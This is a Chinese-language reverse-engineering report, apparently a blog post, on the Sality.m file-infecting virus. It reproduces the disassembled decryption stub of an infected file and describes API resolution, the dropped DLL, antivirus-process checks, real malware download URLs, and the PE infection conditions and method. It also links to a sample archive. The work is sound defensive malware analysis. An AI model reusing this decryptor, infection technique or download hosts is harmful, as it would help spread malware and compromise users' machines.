zoukankan      html  css  js  c++  java
  • Sality.m分析

    Sality.m分析

    0x1、样本概述

    FILE_A MD5:1C9A0E01C6033801AFC5A12DE1CC5BDC

    FILE_B MD5:4B6B70F4A199CF3EAC1554B08804BC4F

    FILE_C MD5:91741578019D3613EEBD6C8F1862548E

    样本FILE_A是捕获的病毒文件;FILE_B是一款网络连接状态查看工具Tcpview.exe;样本FILE_C是在虚拟机系统中运行文件FILE_A使其感染样本FILE_B所得。本报告全部结果都是通过分析样本FILE_C所得。

    样本FILE_C[以下简称样本]运行后将释放动态库文件wcmlogon.dll到系统目录下;感染以下三个位置中所有的exe和scr扩展名的文件:注册表HKCU和HKLM下启动项文件、当前系统中所有磁盘文件以及共享目录中文件;读取配置文件中的数据,连接网络下载文件并执行。

    样本所采用的主要技术有:浮点指令、多线程、HOOK

    0x2、分析过程

    被感染文件入口点代码被病毒修改,所以样本被加载到内存后直接执行病毒代码,入口点代码功能是解密后执行被感染文件尾部的加密病毒数据;被解密后的代码功能为释放文件中被压缩的动态库文件,并加载调用其唯一的导出函数。病毒动态库文件导出函数并没有实际功能,主要功能代码都在其入口函数当中,导出函数只是为初始化其入口函数的相关参数。动态库文件的入口函数主要功能有:感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断。

    样本的执行流程图如下:

    0x2.1、被感染文件入口

    程序入口代码功能是完成对指定数据块的解密,然后跳转到解密数据块执行。

    解密算法没有什么新意,但解密方式比较特别,是在对数据进行解密的过程中使用了八条浮点指令。完整的入口代码如下,同时下面的代码长度也是病毒修改的正常文件入口处代码的长度。

    .text:00408367                 pusha
    .text:00408368                 call    sub_4083BC
    //计算入口代码相对00401000的重定位偏移offset
    //设定解密长度len
    .text:0040836D                 nop
    .text:0040836E                 lea     edi, [ebp+401000h] 
    //计算入口点地址ep_offset
    //ep_offset = 00401000 + offset
    .text:00408374                 push    13C99h
    .text:00408379                 add     edi, [esp]
    .text:0040837C                 mov     esi, edi
    //计算解密地址
    //de_off = ep_offset + 13C99
    .text:0040837E                 push    40102Fh
    .text:00408383                 push    ebp
    //压入两个参数,用于计算循环起始地址
    //0040102f和offset
    .text:00408384                 finit
    .text:00408387                 fild    dword ptr [esp]
    .text:0040838A                 fild    dword ptr [esp+4]
    .text:0040838E                 faddp   st(1), st
    .text:00408390                 fistp   dword ptr [esp]
    .text:00408393                 mov     ebx, [esp] 
    //计算循环起始地址为004083CB调用
    //loop_off = 0040102F + offset
    .text:00408396                 lodsw
    //读出密文数据
    .text:00408398                 push    ecx
    .text:00408399                 fild    dword ptr [esp]
    .text:0040839C                 fimul   dword ptr [ebp+401066h] 
    //[ebp+401066] = [004083CD] = 000022DA = temp_key
    .text:004083A2                 fistp   dword ptr [esp]
    .text:004083A5                 shl     ecx, 1
    .text:004083A7                 sub     [esp], ecx
    //计算解密密钥
    //key = len * temp_key - len*2
    .text:004083AA                 xor     eax, [esp] 
    //解密密文
    //data = data ^ key
    .text:004083AD                 shr     ecx, 1
    //恢复ecx设定
    .text:004083AF                 stosw
    //保存解密后数据
    .text:004083B1                 pop     eax
    //恢复栈平衡
    .text:004083B2                 loop    loc_4083CB
    //解密长度减1,开始循环解密,直到解密长度为0
    //len = len - 1
    .text:004083B4                 mov     cx, 4FFCh
    .text:004083B8                 sub     edi, ecx
    .text:004083BA                 jmp     edi
    //解密结束,跳转到de_off - 4 开始执行。
    
    .text:004083BC                 mov     ebp, [esp]
    .text:004083BF                 sub     ebp, 401006h
    .text:004083C5                 mov     ecx, 2800h
    .text:004083CA                 retn
    //计算代码重定位偏移
    //设定解密长度
    
    .text:004083CB                 jmp     ebx
    //跳转开始循环
    //jump loop_off
    
    .text:004083CD                 dd 22DAh
    //temp_key

    0x2.2、解密后代码

    解密后代码的主要功能有4个:恢复被修改的入口点代码,修改返回原始入口点的代码;动态获取相关api地址;释放被感染文件中保存的压缩格式的病毒动态库文件,加载文件并调用其唯一的导出函数;返回已经恢原始文件代码的入口点开始执行。

    .wrdata:0041C004                 pop     eax
    .wrdata:0041C005                 pop     eax
    .wrdata:0041C006                 mov     ecx, 6Ah
    .wrdata:0041C00B                 mov     eax, offset sub_401000
    .wrdata:0041C010                 add     eax, ebp
    .wrdata:0041C012                 pop     ebx
    .wrdata:0041C013                 add     ebp, ebx
    .wrdata:0041C015                 mov     [ebp+401243h], eax
    //修改地址0041C243下的数据,将跳转地址修改为文件原始入口点地址
    //使被感染文件能够正常执行。
    .wrdata:0041C01B                 lea     esi, unk_4014E2[ebp]
    .wrdata:0041C021                 mov     edi, eax
    .wrdata:0041C023                 rep movsb
    //以上代码是从解密后的代码起始到功能1部分
    //恢复修改的入口点代码,修改返回原始入口点的代码
    ===========================================================
    .wrdata:0041C025                 xor     ebx, ebx
    .wrdata:0041C027                 mov     ebx, fs:30h
    .wrdata:0041C02D                 test    ebx, ebx
    .wrdata:0041C02F                 js      short loc_41C03F
    ……………………
    .wrdata:0041C03F                 mov     ebx, [ebx+34h]
    .wrdata:0041C042                 lea     ebx, [ebx+7Ch]
    .wrdata:0041C045                 mov     ebx, [ebx+3Ch]
    //通过fs寄存器获取kernel32.dll的image_base地址
    ……………………
    .wrdata:0041C062                 mov     ss:dword_40140B[ebp], ebx
    .wrdata:0041C068                 lea     eax, string_loadlibrary[ebp]
    .wrdata:0041C06E                 push    eax
    .wrdata:0041C06F                 push    ss:dword_40140B[ebp]
    .wrdata:0041C075                 call    fun_str_fun_addr
    .wrdata:0041C07A                 call    fun_check_eax
    .wrdata:0041C07F                 mov     dword ptr ss:addr_loadlibrary[ebp], eax
    .wrdata:0041C085                 lea     eax, string_GetProcAddress[ebp]
    .wrdata:0041C08B                 push    eax
    .wrdata:0041C08C                 push    ss:dword_40140B[ebp]
    .wrdata:0041C092                 call    fun_str_fun_addr
    .wrdata:0041C097                 call    fun_check_eax
    .wrdata:0041C09C                 mov     ss:addr_GetProcAddress[ebp], eax
    .wrdata:0041C0A2                 lea     eax, string_kernel32[ebp]
    .wrdata:0041C0A8                 push    eax
    .wrdata:0041C0A9                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C0AF                 call    fun_check_eax
    .wrdata:0041C0B4                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C0BA                 lea     edi, string_funnamelist[ebp]
    .wrdata:0041C0C0                 mov     edx, ss:dword_40140B[ebp]
    .wrdata:0041C0C6                 call    fun_loop_getfunaddr
    .wrdata:0041C0CB                 push    2
    .wrdata:0041C0CD                 call    dword ptr [ebp+401486h] 
    //此处调用的函数为: kernel32.SetErrorMode
    .wrdata:0041C0D3                 lea     eax, (loc_401588+2)[ebp]
    //此处是获取动态库文件名字符串“LZ32”
    .wrdata:0041C0D9                 push    eax
    .wrdata:0041C0DA                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C0E0                 call    fun_check_eax
    .wrdata:0041C0E5                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C0EB                 lea     edi, (loc_40149A+1)[ebp]
    //此处是获取要动态获取的函数名列表
    .wrdata:0041C0F1                 mov     edx, ss:dword_40140B[ebp]
    .wrdata:0041C0F7                 call    fun_loop_getfunaddr
    //省略了部分非关键代码,以上代码功能2部分
    //通过fs寄存器获取kernel基址,遍历其导出表,获取Loadlibrary函数和GetProcadress函数,然后动态加载kernel32和LZ32并获取病毒代码要使用的函数。
    ===========================================================
    .wrdata:0041C0FC                 lea     edi, unk_4014E2[ebp]
    .wrdata:0041C102                 push    80h
    .wrdata:0041C107                 push    edi
    .wrdata:0041C108                 call    dword ptr [ebp+401475h]
    // addr_GetSystemDirectoryA
    .wrdata:0041C10E                 cmp     byte ptr [ebp+eax+4014E1h], 5Ch
    .wrdata:0041C116                 jnz     short loc_41C119
    .wrdata:0041C118                 dec     eax
    ……………………
    .wrdata:0041C137                 push    eax
    .wrdata:0041C138                 push    2
    .wrdata:0041C13A                 push    2
    .wrdata:0041C13C                 push    eax
    .wrdata:0041C13D                 inc     eax
    .wrdata:0041C13E                 push    eax
    .wrdata:0041C13F                 push    40000000h
    .wrdata:0041C144                 push    edi
    .wrdata:0041C145                 call    dword ptr [ebp+40143Fh] 
    //ss:[0041C43F]=7C801A24 (kernel32.CreateFileA)
    .wrdata:0041C14B                 mov     [ebp+40137Bh], eax
    .wrdata:0041C151                 inc     eax
    .wrdata:0041C152                 jz      short loc_41C16E
    .wrdata:0041C154                 lea     edi, (loc_401991+3)[ebp]
    .wrdata:0041C15A                 push    ecx
    .wrdata:0041C15B                 push    esp
    .wrdata:0041C15C                 push    466Ch
    .wrdata:0041C161                 push    edi
    .wrdata:0041C162                 push    dword ptr [ebp+40137Bh]
    .wrdata:0041C168                 call    dword ptr [ebp+40145Dh] 
    // ss:[0041C45D]=7C810F9F (kernel32.WriteFile)
    ……………………
    .wrdata:0041C1FE                 lea     eax, unk_4014E2[ebp] 
    //string:C:WINDOWSsystem32wcmlogon.dll
    .wrdata:0041C204                 push    eax
    .wrdata:0041C205                 call    dword ptr ss:addr_loadlibrary[ebp]
    .wrdata:0041C20B                 call    fun_check_eax
    .wrdata:0041C210                 mov     ss:dword_40140B[ebp], eax
    .wrdata:0041C216                 lea     eax, unk_4014C3[ebp] 
    // string:_RtlMoveExecute
    .wrdata:0041C21C                 push    eax
    .wrdata:0041C21D                 push    ss:dword_40140B[ebp]
    .wrdata:0041C223                 call    fun_str_fun_addr
    .wrdata:0041C228                 call    fun_check_eax
    .wrdata:0041C22D                 mov     [ebp+4014A2h], eax
    .wrdata:0041C233                 lea     edi, sub_401000[ebp]
    .wrdata:0041C239                 push    edi
    .wrdata:0041C23A                 call    dword ptr [ebp+4014A2h] 
    //省略了部分非关键代码,以上代码功能3部分
    //释放病毒体动态库文件,获取其唯一导出函数并调用执行。
    ===========================================================
    .wrdata:0041C240                 pop     eax
    .wrdata:0041C241                 popa
    .wrdata:0041C242                 mov     eax, offset loc_4011F0
    //此处地址在恢复入口点代码之前会被修改为原始入口点地址
    .wrdata:0041C247                 jmp     eax
    //以上代码是从解密后的代码起始到功能4部分
    //恢复文件入口点的上下文环境,返回已经恢原始文件代码的入口点开始执行

    0x3、病毒动态库文件

    动态库文件只有一个导出函数,函数名为:_RtlMoveExecute,功能为拷贝数据到共享内存块,共享内存块将做为动态库入口代码的相关参数使用。动态库文件的主要功能都是在其入口函数中实现的,包括感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断等。

    0x3.1、导出函数_RtlMoveExecute

    导出函数有一个参数,是本地数据的地址。函数功能将本地数据拷贝到入口函数申请的内存空间中,供入口点函数调用修改使用。

    所调用函数共有2个参数,第一个参数是本地数据地址,第二个参数是数据拷贝方向,0和1表示从内存拷贝至本地;2表示从本地拷贝至内存。其中还有2个隐含参数,一个是拷贝数据的长度:0x5000;另一个是内存空间的地址。

    .text:10001EC0                 push    ebp
    .text:10001EC1                 mov     ebp, esp
    .text:10001EC3                 cmp     dword ptr [ebp+8], 0
    .text:10001EC7                 jz      short loc_10001ED7
    .text:10001EC9                 push    2
    //压入参数,表示是将本地数据拷贝到共享内存空间中
    .text:10001ECB                 mov     eax, [ebp+8]
    .text:10001ECE                 push    eax
    //内存空间句柄
    .text:10001ECF                 call    sub_10001DE0
    //调用数据拷贝函数
    .text:10001ED4                 add     esp, 8
    .text:10001ED7                 pop     ebp
    .text:10001ED8                 retn

    0x3.2、入口函数

    入口点函数主要功能有:申请内存空间,挂钩windows消息,创建3个功能线程。

    申请内存空间是为了在几个线程之间进行通信,对申请的内存空间的数据修改和初始化都是通过函数sub_10001DE0实现的,已经在动态库的导出函数中作了介绍。

    挂钩windows消息,其挂钩的消息类型为:WH_GETMESSAGE,用以截获从消息队列送出的消息,回调函数和动态库入口函数相同。

    创建的线程分别为:感染线程、下载线程和进程管理线程

    0x4、线程说明

    由于各个线程代码较长,不再报告中粘贴,只做功能介绍,具体内容请参照附件中的idb文件。

    0x4.1、进程管理线程:

    函数地址:sub_10001350

    功能:遍历进程,如果进程路径包含指定字符串,将退出病毒进程。具体字符串列表如下:

    NAV、AVP、KAV、DRWEB、OUTPOST、ZONEALARM、NOD32、ANTI、NMAIN、MCUPDATE、MGUI、NPROTECT、NUPGRADE、RTVSCAN、SAVSCAN、AUTOTRACE、AVSYNMGR、ATGUARD、AVGSERV、AVPROTECT、BIDEF、BIDSERVER、BIPCP、BLACKICE、CLEANER、DRWATSON、DRWTSN32、LOCKDOWN、MCAGENT、NPFMESSENGER、PERISCOPE、PINGSCAN、PORTDETECTIVE、PROTECTX、TRJSCAN、VSMAIN、AVLTMAIN、ESCANH、ICSSUPPNT、ICSUPP、AVXQUAR

    0x4.2、下载线程:

    函数地址:sub_ 100037D0

    功能:读取配置文件中的相关参数,下载样本到本地并执行。相关url地址如下,但地址并不完整,还会继续和随即字符串拼接,同时url中的“#”也会被替换。

    http://www.bpfq02.com/mrow6/?id

    http://#.egozda.com/?idf

    http://#.kerrabez.com/?id

    333.com/mrow7/?id

    0x4.3、感染线程:

    函数地址:sub_ 10003D00

    功能:感染注册表启动项列表中映像路径为exe的映像文件;所有驱动器中的*.scr和*.exe文件;所有网络共享目录中的*.scr和*.exe文件。

    感染条件:

    1) 文件大小必须在0x1000~0x1400000之间的范围

    2) dos头重的重定位地址必须为0x40

    3) 文件pe格式合法,且文件为32为pe文件格式

    4) 最后一个数据节内不存在调试信息

    5) 倒数第二个数据节的文件大小和内存大小都为0,或都不为0

    6) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度

    感染方式:

    1) 如果最后一个节名称是UPX、TEXT、CODE三个中的任意一个将增加最后一个数据节的节大小。

    2) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度,则增加一个数据节。节名称为节名称为文件名尾字母+第二个节名称构成,字母全小写

    3) 修改入口处代码长度为0x6a的数据

    4) 生成随即key,加密原始入口点代码和病毒功能代码。将其写入到最后一个数据节中扩充的节空间或新增的尾节中。

    0x5、附件说明

        附件中文件介绍如下:

    1c9a0e01c6033801afc5a12de1cc5bdc

    得到的被感染文件样本

    Tcpview.exe1

    Tcpview.idb

    被上面的样本感染的病毒文件和对应的idb文件

    ana.txt

    Tcpview.exe1被感染后入口代码的解密函数分析

    Tcpview_decode.exe1

    Tcpview_decode.idb

    Tcpview.exe1文件经过解密后,跳转到解密代码后dump的结果,以及ida分析的相关idb文件

    wcmlogon.dll

    wcmlogon.idb

    解密后代码将释放一个动态库文件,然后调用其唯一的导出函数开始执行.

    name_list.txt

    动态库文件运行后将检测的文件名是否包含执行字符串列表

    system.ini

    动态库文件运行时,将向系统配置文件中写入数据,写入数据为文件的最后一行

    附件下载地址:http://files.cnblogs.com/files/Mikhail/sality_m.zip

  • 相关阅读:
    AtCoder Regular Contest 093
    AtCoder Regular Contest 094
    G. Gangsters in Central City
    HGOI 20190711 题解
    HGOI20190710 题解
    HGOI 20190709 题解
    HGOI 20190708 题解
    HGOI20190707 题解
    HGOI20190706 题解
    HGOI 20190705 题解
  • 原文地址:https://www.cnblogs.com/Mikhail/p/5297554.html
Copyright © 2011-2022 走看看